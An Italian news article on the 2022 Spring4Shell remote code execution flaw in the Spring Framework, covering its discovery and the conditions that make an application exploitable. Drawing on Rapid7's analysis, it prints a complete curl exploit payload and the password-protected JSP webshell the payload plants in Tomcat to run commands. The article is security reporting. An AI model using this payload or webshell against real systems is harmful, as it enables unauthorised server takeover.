Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Spring4Shell e SpringShell. Un’altra RCE che fa paura

Redazione RHC : 31 Marzo 2022 10:03

Una vulnerabilità nel popolare framework Spring per lo sviluppo di applicazioni Web Java espone potenzialmente molte applicazioni Web ad attacchi informatici remoti.

La vulnerabilità, soprannominata Spring4Shell e SpringShell, ha suscitato grande scalpore tra gli esperti di sicurezza nelle ultime 24 ore.

In particolare, i ricercatori di sicurezza hanno cercato di capire se il problema è nuovo o deriva da una vulnerabilità precedente.

Di cosa si tratta


Sei un Esperto di Formazione?
Entra anche tu nel Partner program! Accedi alla sezione riservata ai Creator sulla nostra Academy e scopri i vantaggi riservati ai membri del Partner program.

Contattaci tramite WhatsApp al 375 593 1011 per richiedere ulteriori informazioni oppure scriviti alla casella di posta [email protected]



Supporta RHC attraverso:


Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.


Secondo gli esperti di Praetorian e Flashpoint , la vulnerabilità è nuova e può essere sfruttata da remoto se l’applicazione Spring viene distribuita su un server Apache Tomcat con una configurazione comune.

Per sfruttare la vulnerabilità, un utente malintenzionato deve individuare e identificare le installazioni di applicazioni Web utilizzando DeserializationUtils. La vulnerabilità non interessa le applicazioni Spring che utilizzano Spring Boot e Tomcat incorporato.

Spring4Shell (a cui non è ancora stato assegnato un ID CVE) avrà probabilmente bisogno di un aggiornamento importante per garantire che le installazioni siano sicure, ha spiegato Richard Ford, direttore tecnico senior di Praetorian.

La vulnerabilità è molto facile da sfruttare, ha affermato Ford, e gli utenti dovranno installare gli aggiornamenti su cui Spring sta già lavorando il prima possibile. Secondo gli esperti di Flashpoint, non si discute ancora della vulnerabilità nella comunità dei criminali informatici.

Gli esperti di sicurezza delle informazioni sono venuti a conoscenza della vulnerabilità per la prima volta quando un ricercatore cinese ha pubblicato un tweet con uno screenshot di un attacco PoC.

Tuttavia, il tweet è stato presto cancellato, a quanto pare perché è un crimine in Cina pubblicare informazioni sulle vulnerabilità senza il permesso del governo. Su VX-Underground, le informazioni su Spring4Shell sono apparse a metà giornata del 30 marzo.

Avendo accesso agli screenshot, gli esperti di sicurezza sono stati in grado di decodificare l’exploit e riprodurre l’attacco in poche ore.

Uno sguardo all’exploit

La vulnerabilità sembra (A detta di Rapid7) interessare le funzioni che utilizzano l’ annotazione @RequestMapping e i parametri POJO (Plain Old Java Object). Ecco un esempio in una dimostrazione MVC di Springframework :

package net.javaguides.springmvc.helloworld.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;

import net.javaguides.springmvc.helloworld.model.HelloWorld;

@Controller
public class HelloWorldController {

	@RequestMapping("/rapid7")
	public void vulnerable(HelloWorld model) {
	}
}

Un controller ( HelloWorldController), una volta caricato in Tomcat, gestirà le richieste HTTP a http://name/appname/rapid7. La funzione che gestisce la richiesta viene chiamata vulnerablee dispone di un parametro POJO HelloWorld. Qui, HelloWorldè ridotto ma POJO può essere piuttosto complicato se necessario:

package net.javaguides.springmvc.helloworld.model;

public class HelloWorld {
	private String message;
}

Questa è l’intera condizione sfruttabile, almeno dalle versioni di Spring Framework da 4.3.0 a 5.3.15. (Non sono state esplorate le versioni indietro alla 4.3.0.)

Se compiliamo il progetto e lo ospitiamo su Tomcat, possiamo quindi sfruttarlo con il seguente comando curl. Nota quanto segue utilizza esattamente lo stesso payload dalla PoC creata dal ricercatore cinese.

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7

Questo payload rilascia una webshell protetta da password nella directory ROOT di Tomcat chiamata tomcatwar.jsp, e si presenta così:

- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -

Gli aggressori possono a questo punto invocare i comandi al server. 

Ecco un esempio di esecuzione whoamiper ottenere albinolobster:

La versione Java sembra avere importanza. 

Il test su OpenJDK 1.8.0_312 non riesce, ma OpenJDK 11.0.14.1 funziona.

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463

Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una grave vulnerabilità scoperta in SUDO (CVE-2025-32463), che consente l’escalation dei privilegi a root in ambie...

Hackers nordcoreani a libro paga. Come le aziende hanno pagato stipendi a specialisti IT nordcoreani

Il Dipartimento di Giustizia degli Stati Uniti ha annunciato la scoperta di un sistema su larga scala in cui falsi specialisti IT provenienti dalla RPDC i quali ottenevano lavoro presso aziende americ...

Mi Ami, Non mi Ami? A scusa, sei un Chatbot!

Le persone tendono a essere più comprensive nei confronti dei chatbot se li considerano interlocutori reali. Questa è la conclusione a cui sono giunti gli scienziati dell’Universit&#x...

Sicurezza Reti Wi-Fi: La Sfida e le Soluzioni Adattive per l’Era Digitale

La Sfida della Sicurezza nelle Reti Wi-Fi e una Soluzione Adattiva. Nell’era della connettività pervasiva, lo standard IEEE 802.11(meglio noto come Wi-Fi ), è diventato la spina dorsa...

Cyberattack in Norvegia: apertura forzata della diga evidenzia la vulnerabilità dei sistemi OT/SCADA

Nel mese di aprile 2025, una valvola idraulica di una diga norvegese è stata forzatamente aperta da remoto per diverse ore, a seguito di un attacco informatico mirato. L’episodio, riportat...